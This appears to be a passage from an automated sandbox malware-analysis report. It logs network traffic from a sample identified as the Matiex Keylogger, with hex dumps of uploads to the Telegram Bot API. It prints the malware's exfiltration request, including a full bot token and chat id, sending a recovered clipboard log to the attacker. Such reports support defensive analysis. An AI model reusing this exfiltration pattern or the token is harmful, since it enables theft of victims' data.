32 b2 18 bb 8f 2c c2 7e c4 81 c4 a1 23 0b 71 fc 98 52 9c 3a a6 04 67 64 16 e3 dc ac 62 5c 9c 55 8a ab c6 55 e0 c6 29 61 dc 31 23 Data Ascii: uK)"W[Lznj#Kh>K1@[0exiq%~-8g!t.S}0WcR@/S&d?-@?-)J4RCpKz.0CDM`XBPS3zCBh0$.PJ}y(?*"~GW`QhJ2,~#qR:gdb\UU)a1#
2021-09-13 04:32:04 UTC	2191	OUT	Data Raw: a5 f8 23 52 55 f7 65 78 9e 3f 26 95 f8 f3 bf bb ce 81 5b fc 79 09 c0 b4 0f 13 e2 2f 15 b6 00 b4 08 7c b8 d9 81 48 3f 8d 3b ba cf 8d 3b ba 8f 70 57 ee f5 92 7e 7a 7e 3f df 57 d4 ba 22 fe b4 f4 0b 7c 97 90 7e 81 1f ca 04 2d fc 6c 92 0a 72 98 a8 4a ba 76 9a af 81 9e bb 2f 29 d2 cf 43 fc 99 72 cf 91 7e 6b a4 e1 6a 81 97 2c f2 9c 70 f4 9e 9e 63 2f d0 89 8e cd d2 cd ea 97 31 22 e1 12 28 c1 42 3f ee ad 68 2c 2d 4d 44 ac 70 eb 86 a3 f5 dc 92 85 e9 49 f7 49 c3 45 16 7a f2 3c 6d d4 32 dd e8 47 9f 71 8e 74 3a 4e 7a f7 28 ea f5 88 a1 3e ed ab e4 5f 08 f5 ba 04 51 9f da 46 dd 22 68 4c db 99 7a b4 6f a0 7b 15 1a f5 2d c5 be 7d d7 e2 aa 9c 35 e8 9c 1f 02 fd be c5 14 e2 93 25 15 38 7d e0 5a 34 ed 49 af cd fe f4 03 74 30 9d af 3f 9d 9b a5 df 40 da 77 60 10 69 43 e8 fc 83 Data Ascii: #RUex?&[y/\|H?;;pW~z~?W"\|~-lrJv/)Cr~kj,pc/1"(B?h,-MDpIIEz<m2Gqt:Nz(>_QF"hLzo{-}5%8}Z4It0?@w`iC
2021-09-13 04:32:04 UTC	2207	OUT	Data Raw: b2 0f ff ed dd 81 32 97 f0 df f5 95 17 80 56 82 14 d6 34 fd 00 06 02 30 9c 2e 4d 38 11 61 77 4e 7b 9e 6a 23 b1 10 19 87 e8 3f 69 f2 69 05 20 64 d2 6d b0 37 b7 5a 51 c3 a5 ca 9e 36 67 05 a5 08 40 ac cb 88 ec 99 c8 cb aa 18 93 c8 40 95 33 10 58 f9 04 a0 1d de 57 11 80 d8 2e fa 01 44 13 5a 11 80 3a 7d bf b0 a9 f4 2f 10 11 69 af 07 9a 00 1f 74 aa 90 a8 fe 27 23 9b 70 1c 88 b0 03 88 72 e3 7f 22 e8 30 2e e7 ea 48 28 4c 93 e6 b0 2a 00 ed 74 c8 2b 69 32 6b c7 65 38 dc a7 48 b7 c8 3e b1 8e 23 de aa 1d c2 f3 7f 48 89 a3 ce 35 52 6b ff e3 72 af 39 9a d2 d6 3a 5a 84 ee ec b6 7c 7d 44 98 59 29 86 a8 3a d9 cf 8f 2a 6e 06 9c 23 00 99 e0 39 88 0a 40 23 32 db d2 59 2a e6 82 e6 ce cc ed fc 17 57 45 cf 90 15 80 89 03 2e 33 fd 1f b6 fd b5 9d c6 f7 0b 7d f8 a1 f9 6f 7b 9c 0f Data Ascii: 2V40.M8awN{j#?ii dm7ZQ6g@@3XW.DZ:}/it'#pr"0.H(Lt+i2ke8H>#H5Rkr9:Z\|}DY):n#9@#2Y*WE.3}o{
2021-09-13 04:32:04 UTC	2223	OUT	Data Raw: c2 1a c1 97 0f fd b6 f8 04 82 d0 6e cf 8d 1c 74 a9 b4 00 54 f4 b7 55 05 a0 7e ef 62 08 7f 7b 0d 39 f2 0f d8 df 61 1f fc 47 0a f0 e5 5e 45 e8 77 5a d1 88 bf 7c e8 f7 bd 22 24 aa db 21 8c 04 44 33 de 78 20 f7 94 b8 f9 20 d1 8e 7f cf 3a f2 3b 8b 77 99 ff be 80 f0 cf 76 e1 f7 bf cb 1a 3a 61 e0 2a ba e6 f5 4d c4 9f 61 ba ff 13 a2 83 9e e4 bf 2b af eb cf 7f 13 0f a2 d4 e5 7d 29 71 49 8c 00 c4 78 3e 01 08 be b3 02 d0 15 7f 40 e5 9f 2b 01 5d 11 b6 b7 38 32 94 7f ae 00 0c c6 bf 6d 01 18 77 8c 2e 38 be ff 06 01 a8 12 30 58 f7 5f 27 00 41 b8 dd a8 c0 fb 57 08 40 91 74 2a f1 e2 24 5f 79 38 f2 0f b8 62 4f 71 f7 e5 ee 53 f9 6f 13 80 ee b8 1c cb bf 50 00 fa 12 b0 3c 01 08 76 4b 00 22 12 f0 bb 2a 00 9d e6 bf 10 80 1a 01 68 a2 ff 9e 13 f9 07 d0 df 9f a1 b1 e1 bb 22 00 21 Data Ascii: ntTU~b{9aG^EwZ\|"$!D3x :;wv:aMa+})qIx>@+]82mw.80X_'AW@t$_y8bOqSoP<vK"*h"!
2021-09-13 04:32:04 UTC	2239	OUT	Data Raw: 45 a3 40 dd 6b 27 e0 9e b8 b8 42 10 b8 52 b0 12 b8 d1 a3 60 4f e7 03 cd 44 1e 08 c0 dd 45 ff 53 24 1f 10 7e ee 70 8c 04 8c 9b a6 40 d2 55 16 08 2f 59 a7 be 5d d7 96 d2 0d 03 b6 1d 57 f2 71 61 19 48 47 6c 03 a5 8c db e3 11 19 a9 c3 f9 40 9f 88 e5 10 24 db f1 c6 91 90 07 02 32 d1 90 af 4d 23 fe cd 10 78 7b da cc 59 23 0c b1 1e d6 6f b8 dc 88 a7 c6 2b cd 74 48 46 88 c8 7a 18 e6 69 f5 57 f1 f1 22 62 70 15 a5 03 56 50 a6 91 8d 56 43 12 10 c9 0c cc cb a3 a9 31 fa 22 44 bf 80 8d 17 53 b6 29 ff ee 35 e2 df b4 86 f3 28 db 78 01 15 36 5d 44 45 cd 16 53 b5 56 cb a8 b8 19 8f 37 99 4b 05 0d bf a0 4c 83 4f 28 53 ef 43 ca 36 f8 27 15 35 fe 88 aa 36 fb 94 d2 f5 f9 f7 88 c9 36 f8 80 aa 36 fe 84 6a b7 9c 4d 47 76 5e 42 3f e8 bb 9e 4e 1b be 95 ce 9d 42 74 d6 64 a2 33 a6 32 Data Ascii: E@k'BR`ODES$~p@U/Y]WqaHGl@$2M#x{Y#o+tHFziW"bpVPVC1"DS)5(x6]DESV7KLO(SC6'5666jMGv^B?NBtd32
2021-09-13 04:32:04 UTC	2255	OUT	Data Raw: 1c ca 2d 55 ef 8d 48 ea d9 96 2a fa b2 d8 3b 71 10 b4 3a 61 20 54 b6 7d 38 45 c5 f1 0f 41 e5 71 31 34 5f 71 2c 15 1c e9 6f 84 de d1 34 6e 61 6f a8 3c a2 27 53 71 78 0f a8 38 b4 3b 23 a9 aa 2c ab e8 7a d3 75 e7 31 f5 e8 9e 58 48 80 51 0a 37 49 bb bd ad bc 23 71 47 ec 89 f7 59 d8 eb ce b8 dd 83 da bb f0 b9 b8 97 9f 05 1e 07 72 1f 23 86 63 6e 77 ad a4 8e 33 54 41 5a 90 42 32 45 2a 47 73 f5 68 96 85 f1 f3 e6 a3 05 a0 50 8e 08 14 12 cf a7 c6 09 40 92 d3 44 52 50 f3 35 25 a4 aa 70 13 45 60 96 00 d4 52 3b 25 00 45 02 72 14 eb c0 38 45 9d 45 e0 a0 38 22 30 24 02 7d 94 00 34 12 d0 a4 b3 c7 12 50 09 40 44 24 37 a5 92 37 16 1a cb 52 43 63 09 86 a2 02 35 4e 16 06 04 63 62 79 06 c1 75 fc fd 4a 2a b3 6e 79 3d 3a 46 af d5 eb 21 fa 58 8b e1 3e 8f b0 db 9a 7d a9 7e 82 d6 Data Ascii: -UH;q:a T}8EAq14_q,o4nao<'Sqx8;#,zu1XHQ7I#qGYr#cnw3TAZB2EGshP@DRP5%pE`R;%Er8EE8"0$}4P@D$77RCc5NcbyuJ*ny=:F!X>}~
2021-09-13 04:32:04 UTC	2271	OUT	Data Raw: 0a 62 90 cc d3 98 28 2e 4a ed b4 c7 b8 fd a5 0c 89 4b 2e 56 f2 1f 3c 17 4e b7 a5 54 5b 64 eb 73 0c 2e d5 f6 cc 24 12 81 c7 91 7a 78 5d 37 c5 6b fc 6f bc ee ff c2 fb f3 2f 12 b8 24 73 29 9d 9b 5a c5 a6 24 f9 08 12 7c 08 0b 5d 91 be 16 16 c1 d4 af 90 f5 85 12 f7 5a c4 6f 9a 2c 01 28 64 0b 40 96 80 81 e7 23 28 00 e9 59 29 85 b7 4d 42 00 d2 33 46 e3 4b aa 31 26 25 0a b0 b0 83 1e d3 2f 83 90 f4 d3 2c 43 01 c8 51 ae 48 79 02 30 2e 1a 92 10 80 82 88 3f 27 04 03 f2 8f 50 29 c0 0c 8d 69 c9 14 93 80 0a 11 80 5a 04 8a 04 64 f0 7b 4b 93 12 81 1d 62 3c 01 18 1d d2 b9 a8 08 cc 1d 4c 12 b0 3b e4 04 25 fb 1c a5 96 2b 12 62 d0 a5 12 17 a3 57 40 aa 21 01 d1 55 1c 91 6f 25 f0 e5 23 22 82 d2 8f 5a d4 f2 b2 18 b9 23 f1 1c 08 9a 66 fc 73 c9 10 7f 02 a7 e1 06 90 e5 fe fe 7c e8 Data Ascii: b(.JK.V<NT[ds.$zx]7ko/$s)Z$\|]Zo,(d@#(Y)MB3FK1&%/,CQHy0.?'P)iZd{Kb<L;%+bW@!Uo%#"Z#fs\|
2021-09-13 04:32:04 UTC	2287	OUT	Data Raw: 49 48 88 41 e9 5f 1b e1 a2 0f 16 4f 7a 51 6a 6f 9e a2 ff 10 12 38 26 ea 2f 89 c8 19 12 7c 5a d6 e8 c8 39 81 fa 29 c5 93 a6 49 84 50 84 1d 49 11 8a be 8b 36 36 51 78 c9 f6 48 5e 6e 52 6c e3 f5 b2 a2 f4 78 7e 7d 6c 29 e5 58 a4 93 3d 7e 82 a3 f6 d6 a5 6b 67 52 58 53 d7 4b 52 6a 05 92 6e 3e 32 1e 25 09 3d 1f 59 96 b5 3c 20 fd 7c 8a 09 40 79 0e f8 59 50 cf 47 ea 39 d1 cf 7c 23 68 bc 00 94 54 df 5f 05 60 10 7d 2c c8 52 13 80 96 9f 4c 00 5a 96 bd 00 14 62 01 98 4c fb b5 63 ff 85 64 5f 80 54 24 e0 4f 28 00 83 fb e0 74 e0 a6 a3 25 60 31 11 28 a4 24 60 28 65 58 c1 15 85 03 fd 8e 3d 4d 84 60 b9 e8 48 42 96 87 be dc cb 62 0f 5c 57 a0 79 11 50 a5 52 90 43 7d 09 bc 88 b7 96 80 44 1b 09 37 25 eb 64 de 47 a2 f6 08 8a 2a d4 d1 78 44 3c 7f 37 e3 1f 7f 48 aa 69 82 d1 7b 7b Data Ascii: IHA_OzQjo8&/\|Z9)IPI66QxH^nRlx~}l)X=~kgRXSKRjn>2%=Y< \|@yYPG9\|#hT_`},RLZbLcd_T$O(t%`1($`(eX=M`HBb\WyPRC}D7%dG*xD<7Hi{{
2021-09-13 04:32:04 UTC	2303	OUT	Data Raw: 26 da 9c 97 fb 76 c4 79 80 df 9f 3e 63 ba 59 60 ba 39 9d 07 91 ea 2e 3b 33 76 5e a3 cf 17 7d 8e f0 f6 a2 e0 2b a5 0b fa 9c 99 85 21 02 d0 2e d3 f0 f1 51 df 83 a1 fd 9c 45 00 82 ec b7 1d c2 ac c2 cf d2 7b fe ef 9d 91 24 a0 23 c5 12 ae b0 23 bc bc 43 f0 ca b2 78 eb 2d 2b 51 24 2a f9 b7 26 00 87 73 73 12 80 5a 02 ae 1a 01 b8 dd e3 67 47 0b 40 8d 11 80 d3 1d 4e 4f 78 69 9c 3e 33 be 3c 14 3c 89 a8 a9 1e 7e 66 46 88 4a 6c b0 cb db 84 be 0a bb 48 02 d0 08 c5 10 25 48 fb 11 99 ec 44 fb ac 79 f8 19 cd d4 b2 23 7d 77 86 96 77 21 22 53 a3 f6 61 8c 00 d4 e2 af 2d 00 89 d4 2c 19 18 01 48 0f 9c ba 5f c2 46 00 9a 87 d2 0e 74 3f 36 0d 8e 14 ec 91 86 09 ee 37 07 0f d1 23 e8 13 80 04 fe 5b 5f ed fd cc 7a 69 9f 20 02 41 5b 00 46 20 00 0b 12 90 f3 7b d2 4f e3 89 bc 59 29 09 Data Ascii: &vy>cY`9.;3v^}+!.QE{$##Cx-+Q$*&ssZgG@NOxi>3<<~fFJlH%HDy#}ww!"Sa-,H_Ft?67#[_zi A[F {OY)
2021-09-13 04:32:04 UTC	2319	OUT	Data Raw: 28 01 28 12 50 cb 3f 61 88 00 14 09 b8 50 01 e8 49 c0 45 09 40 89 c6 d1 02 10 2f ed 31 02 d0 15 80 32 8a 27 4b c0 28 f5 a4 6f 3f e0 08 be 94 2f 62 97 5b 5c a9 47 74 0a c0 d8 07 21 e3 08 40 2d 01 45 04 96 04 20 b0 91 80 7d 02 50 a3 65 a0 08 40 91 7f 2c 00 53 bf 6a 6d e1 07 d1 27 e9 76 d9 f4 bc 7f 61 38 7a 50 fa 11 d4 11 82 44 92 7f 04 3e 0b 3a 32 30 f5 2b 98 f5 2f 08 a2 40 02 32 fa ab 27 02 59 10 36 02 50 4b 40 d0 92 7f 92 16 65 1f 7f ee 90 80 56 f0 0d 61 8c 04 64 e1 e6 a4 5b a4 2c e9 23 b1 6b aa f3 cf 33 15 aa 8b 69 7a 51 88 f4 0b 91 7d ff 4e c7 39 4a 3f 1c 77 16 b8 f8 2d 1c 29 8c 73 e5 fc 78 ee c4 73 b0 39 3f c3 e0 1d 02 8f 8a 2d c2 9b cf fd 30 c8 4e ba 6e e2 f5 c8 d7 25 5d bb d5 29 74 dd 9f f4 a1 50 47 3c ee 4f 39 6a 98 07 11 42 dd c1 d1 7e 7f 5c 57 27 Data Ascii: ((P?aPIE@/12'K(o?/b[\Gt!@-E }Pe@,Sjm'va8zPD>:20+/@2'Y6PK@eVad[,#k3izQ}N9J?w-)sxs9?-0Nn%])tPG<O9jB~\W'
2021-09-13 04:32:04 UTC	2335	OUT	Data Raw: 27 f5 c6 30 ab 60 4a 42 49 e1 8a a2 01 79 34 5e fe 2c 0d db d7 fb 6c 71 f6 d3 a6 25 bc f5 97 0b 6f fb c0 cb 5b c2 5b bf 8f b8 5e fa bd ec 72 07 f9 5d ed 6f a3 99 6c 2c 02 50 0b be a1 6c 4c 02 f0 fe 87 05 8a 12 d0 17 7c 7d 2c 4a 00 02 2d ff 80 4e eb 93 78 56 f8 59 bc 75 46 e1 48 3f 8d 88 bd 4c 00 7a 74 08 40 4f 02 36 e9 b9 f8 13 44 f0 95 d2 85 21 02 30 93 80 eb 49 00 b6 c1 c3 79 78 40 cf d0 0f e7 44 f6 e0 4e 6c 74 02 70 c4 36 f5 8b 5a c2 13 80 4a 02 8a 00 14 09 28 02 b0 11 81 b9 f8 13 ac b4 6b 61 04 a0 9b 07 a0 2c a7 bc b4 9e 74 52 ef c9 bd 21 18 01 28 12 70 b4 00 04 51 00 ba 91 80 12 0d 28 2f f6 04 04 60 e8 b3 ab 83 42 24 a0 87 27 00 59 3e 28 09 98 c9 3f 44 25 69 01 78 74 88 66 82 00 ac 8e c9 c5 df d2 f1 ef 48 88 fc 63 e1 27 7d 08 4a 3f 82 90 25 3c 08 42 Data Ascii: '0`JBIy4^,lq%o[[^r]ol,PlL\|},J-NxVYuFH?Lzt@O6D!0Iyx@DNltp6ZJ(ka,tR!(pQ(/`B$'Y>(?D%ixtfHc'}J?%<B
2021-09-13 04:32:04 UTC	2351	OUT	Data Raw: b1 3f 40 1d 0d 08 a1 02 b1 22 02 30 0a 1a c6 13 80 8f c2 08 c1 b9 00 f4 24 a0 a4 27 86 0a c0 c3 29 1f b0 22 50 cb 3f 90 8d 1c 0c 44 58 b5 d1 82 af 0f 2d c3 18 4f 98 09 6e 1e 4f ea 8d 41 95 6b 51 db 59 b4 f8 63 9c 63 97 8e 73 3c ee b9 fc a3 df 05 d1 7e 51 fe e1 7c 28 8a 3f 3d 52 ef 00 01 e8 49 3f 8d 34 6d 97 88 bf 24 ba 63 e4 5f 13 2d 9b 4b f3 24 fe 08 96 f0 5a fe 81 01 02 50 d7 31 2c fe 4a f5 1f a3 ea 4c 42 cb 3f ae c7 ed a0 15 5c 0f e7 62 6f 38 e7 a9 7b 01 ee 25 ea be 62 45 56 bc 5f 0e 17 7b 43 51 32 cc 8e 80 6b 04 20 98 57 00 6a f9 e7 46 fa ab ef 5e a4 6f 9d 1d b1 ad 20 fe ec fe b7 f1 8e c9 00 e4 b9 87 9f ad 9a e7 2d 48 3e 7e 26 8b 68 f9 67 05 e0 f4 21 94 47 8b 3b e0 c9 bd 21 e8 32 9a a6 bf 26 fa ef db af 0f 9f bf ff 5e 16 80 88 02 fc e9 a7 ce 4c cd 80 Data Ascii: ?@"0$')"P?DX-OnOAkQYccs<~Q\|(?=RI?4m$c_-K$ZP1,JLB?\bo8{%bEV_{CQ2k WjF^o -H>~&hg!G;!2&^L
2021-09-13 04:32:04 UTC	2367	OUT	Data Raw: cb 4a 4c 96 a5 32 8f c9 3f 01 64 1f 27 cc 0e 9c 90 80 07 54 fe 09 5c c4 1d 15 54 fe 09 28 ed 88 f8 53 30 5d 0d 54 cc 6d 13 2a ff 04 2e f4 22 0b 08 40 01 85 de 18 56 fe e9 32 16 d4 95 b0 02 50 c8 82 cf 06 bc c0 23 cb c7 28 09 40 2b 01 13 f9 27 cc 14 80 11 37 58 49 88 eb f2 e0 3d 41 05 60 41 02 fa 41 d0 b5 83 04 b4 a2 8f 2d 13 e2 25 44 58 c7 12 a6 ee 1b 15 80 28 f7 6a b1 65 b4 80 83 de 39 e0 0c 42 32 8b 70 4c 00 26 5c 7f 73 36 a8 df 84 00 cc f2 45 e9 30 43 00 c6 f5 a9 bc f0 9c 74 65 0b 76 b9 80 d2 23 02 db 02 54 a4 a0 00 54 bc 84 69 11 80 64 3d 13 7b b5 02 d0 6f 9f ca 3e 46 be 6d c1 cf 34 2b 09 40 11 54 22 b9 84 28 c5 ac c0 1b 48 a5 1a 27 a6 7f e6 2b 27 24 de 9a 64 f5 9e c7 98 fc b3 97 ed 56 13 67 62 c2 b1 61 10 f9 67 05 60 76 fc 79 8c f0 93 63 15 2f f5 25 Data Ascii: JL2?d'T\T(S0]Tm*."@V2P#(@+'7XI=A`AA-%DX(je9B2pL&\s6E0Ctev#TTid={o>Fm4+@T"(H'+'$dVgbag`vyc/%
2021-09-13 04:32:04 UTC	2383	OUT	Data Raw: 7f c2 5e 00 1a b8 04 1b 60 79 96 60 dd f2 5b f2 6b da 3a 72 a9 d5 82 15 5a 4c 7a b5 60 cb 9b 04 a4 9e 95 7c fa 19 d1 75 4b 61 eb c3 f6 09 b1 e9 ad 00 b4 12 30 11 72 41 ca 35 61 f3 97 60 e9 dd 67 26 ed 96 84 4a bd 16 f6 02 70 16 6c db b5 60 7b 58 39 b7 36 4c 00 0a 90 e6 38 0b 40 a5 94 d6 2f 93 4b 83 61 fd 18 4c fa 21 99 b4 9b 8b c8 ba d2 f2 b5 e0 c1 46 35 44 f2 8d 71 dc 04 e0 89 47 8e 07 c9 7d 90 b8 06 18 7c 32 42 a0 be 39 d2 c0 98 a1 c1 b2 25 0a 40 c5 2d b3 64 c2 cf b2 17 80 14 3b 30 2d c2 06 b5 0d 30 c1 37 45 52 46 22 e3 ea 48 06 f0 64 7d 1b 1b 16 80 8f 77 e9 05 58 96 08 18 58 4e 31 79 85 24 3f 13 4d 2d 18 29 25 a0 98 8a e9 9e f0 ad 39 58 4e 03 a9 04 4c 85 57 1b 79 dd 9b 21 f5 f3 e8 3e d6 e4 a9 49 a3 98 74 43 5b f3 d9 85 28 ff fc f7 21 4f df 85 d9 7f 78 Data Ascii: ^`y`[k:rZLz`\|uKa0rA5a`g&Jpl`{X96L8@/KaL!F5DqG}\|2B9%@-d;0-07ERF"Hd}wXXN1y$?M-)%9XNLWy!>ItC[(!Ox
2021-09-13 04:32:04 UTC	2399	OUT	Data Raw: df f8 c6 5c 28 91 3a ae 83 95 a9 35 48 7b 5b 91 f7 55 6f 7a 41 50 70 5d f7 cf 7f f1 bd 71 b9 bc d7 bf 93 af fa a6 24 8f 20 7f 4c ea 29 53 eb 05 fc 3b f3 c2 47 36 7d bf 0a 6b df 4d b4 b7 a0 db 42 0e ce ef f1 12 f0 82 6b 8d 14 64 f0 19 83 8a 2c 1b 24 1e bc 4f 1e f2 71 6d 7c af e5 c6 a7 0f 07 b4 1c fb ea e5 e4 85 41 52 8e bc 8a 08 1c 63 75 d1 f5 11 f9 2c 79 22 b1 ce 0e 5c ee d0 fc 76 79 c6 05 d7 8f c3 a4 1e c2 a4 62 25 87 0f 71 e5 53 29 55 0f 93 94 9b 62 e5 02 9e 56 58 39 73 60 fb de c2 e1 43 45 ee 49 d0 66 d7 0d c1 1c 13 7c ad d8 9b 44 4f 41 83 1a 40 82 84 6c b9 06 45 0e 56 87 16 4a e5 8e 02 79 b2 80 a6 11 1a d4 6c 98 24 d0 62 41 2d 80 41 30 63 4c 0e f6 c0 80 ca e2 05 e0 70 5f a6 79 f4 83 be b9 e8 00 72 5d b2 b2 64 66 8a 43 06 a9 08 97 78 23 d8 f4 08 4b df Data Ascii: \(:5H{[UozAPp]q$ L)S;G6}kMBkd,$Oqm\|ARcu,y"\vyb%qS)UbVX9s`CEIf\|DOA@lEVJyl$bA-A0cLp_yr]dfCx#K
2021-09-13 04:32:04 UTC	2415	OUT	Data Raw: 50 c6 9d ea 78 e1 67 21 e7 af 26 54 f0 15 d0 f3 34 3b 8f 0b d8 27 cd 83 f7 91 d5 18 01 d8 2a 01 69 99 63 ec 98 00 64 b1 51 0b 18 db 51 58 5c d8 c2 44 59 2c ae de 14 3a 1e 58 67 5c 60 cb a0 72 af 86 92 00 4c 24 e0 50 47 d6 76 1e 68 df da ef 37 59 af b1 b2 c8 34 13 2f c7 75 6b 80 e5 ad 4b 56 fe ae 08 c0 4c 2a 58 69 71 8e 3c 05 f8 e2 5e ca bc e0 4e 2f 3f f4 cf 3f 95 35 91 54 c3 df 5d b7 ff cd fe 61 20 fa 14 d5 1b 4e f7 0f eb f0 b3 c9 dc 76 e5 35 3e 01 36 ac 1b 9e 5a 8b 7f 77 77 b7 3c 45 a4 96 08 32 94 58 f2 20 07 91 61 f2 10 11 b9 6c b4 17 3c a9 d0 11 49 84 7f 50 96 c8 1b b9 84 73 29 a1 25 33 09 b3 ba bb 76 b8 cd 05 6b 32 db 4f c4 96 69 bf 3b 5e 00 75 91 7d 77 af fe be 74 3a 6b 4f d6 39 e4 5e 89 5e 42 85 cf 51 92 ca a5 bd 22 c6 1c 7d be db bb 93 f2 3d c5 07 Data Ascii: Pxg!&T4;'icdQQX\DY,:Xg\`rL$PGvh7Y4/ukKVLXiq<^N/??5T]a Nv5>6Zww<E2X al<IPs)%3vk2Oi;^u}wt:kO9^^BQ"}=
2021-09-13 04:32:04 UTC	2431	OUT	Data Raw: ba f3 bf 39 9b b8 79 e3 30 cd e7 f3 66 42 dd f9 1c 10 e3 a6 a3 6d 6e 5a ae f9 c6 eb d7 de 08 3e 37 29 6c 06 9b c4 66 9d 96 df 6c 6e 9a 90 fd 86 0e 1b 64 9a be 8c 41 ef 37 66 da 8d 3b cb af 2f fd 6e 36 01 1b 46 62 6c 1b 47 8c 71 d6 40 6a 4b ff 1a ac 6b 9e e3 b0 5e 6e 98 dd 48 4b 06 a6 4f 3f 52 e2 6f 22 fb 46 1d 7b 12 80 e6 4e 3a e3 a0 af 90 3e 29 c7 e6 be 11 5a 63 ec 2c 25 0f d0 05 b6 24 02 24 1b 80 7a fa fb 1a 7d 3d 6d 99 5f c5 67 8c e3 cb 18 6c f6 65 ff bd 2e 68 67 0d 6c cb 36 75 1a 7a c2 a5 f7 a5 9e 84 0e a0 2d d9 03 92 cc d1 66 5c 9f 83 4e 7c fa 80 79 59 27 49 20 da e6 f4 71 da 21 98 d4 91 22 6b e5 58 cd 37 5e bf 76 09 2b 24 b6 49 52 8f b8 d1 2e 71 a7 2d 75 c8 3b 74 81 cd 5f 09 96 d8 33 06 5d d2 0f 3d 73 8c 83 ec 9b fc 33 d1 b7 7d e2 8f b1 f3 94 62 f3 Data Ascii: 9y0fBmnZ>7)lflndA7f;/n6FblGq@jKk^nHKO?Ro"F{N:>)Zc,%$$z}=m_gle.hgl6uz-f\N\|yY'I q!"kX7^v+$IR.q-u;t_3]=s3}b
2021-09-13 04:32:04 UTC	2447	OUT	Data Raw: 6f f1 2b c0 09 93 7a dd e2 62 ed 45 fc 21 2f eb 02 4f 28 3a d2 be 90 40 bf 3a be 6a d3 5a e1 f5 af 7f fd f0 75 5f f7 75 c3 2d b7 dc 32 11 79 cf 7d ee 73 0f 22 01 89 21 96 1c 72 a9 41 ad 2a f6 2c 4c 24 52 41 00 ae 11 46 c4 3f fb d5 6f 98 08 a6 cd d3 3d 2b 04 e2 c6 3f 62 95 34 3b 90 ac 5a af 57 93 63 fb 73 2a b4 3a 53 6c 1c 4f ff 77 f9 f6 d6 90 b8 5b 89 dd 37 9e 45 3f 10 7f 8b 27 12 0f 3d 46 cf d9 89 00 3c e1 f6 01 e4 1e 4f f8 6d 3f 93 5b 60 bf 28 f9 07 9c 83 9d 77 a7 b9 77 5e 40 b2 9d f3 34 3a 70 11 44 9f e6 eb 79 83 e1 06 02 e9 06 63 8a 9b 37 1c 48 5e c6 81 69 01 9c 7d 00 df b4 1e 44 ad dc 10 ed ea c4 bb 29 1b d7 b3 d1 ee 26 ce 58 65 db 60 b5 18 6c c0 f6 8d 2f ff 37 3b 24 e0 8d 2f fa fe e1 23 fe e8 33 a7 cd 60 e6 42 18 de e9 73 ff c7 e1 c6 af fb 99 29 ce Data Ascii: o+zbE!/O(:@:jZu_u-2y}s"!rA,L$RAF?o=+?b4;ZWcs:SlOw[7E?'=F<Om?[`(ww^@4:pDyc7H^i}D)&Xe`l/7;$/#3`Bs)
2021-09-13 04:32:05 UTC	2457	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:05 GMT Content-Type: application/json Content-Length: 1313 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:05 UTC	2458	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 35 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":294,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507525,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49801	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:05 UTC	2459	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803436e938 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:05 UTC	2459	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 34 33 36 65 39 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 43 6c 69 70 62 6f 61 72 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 43 6c 69 70 62 6f 61 72 64 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d976803436e938Content-Disposition: form-data; name="document"; filename="MatiexClipboard.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger 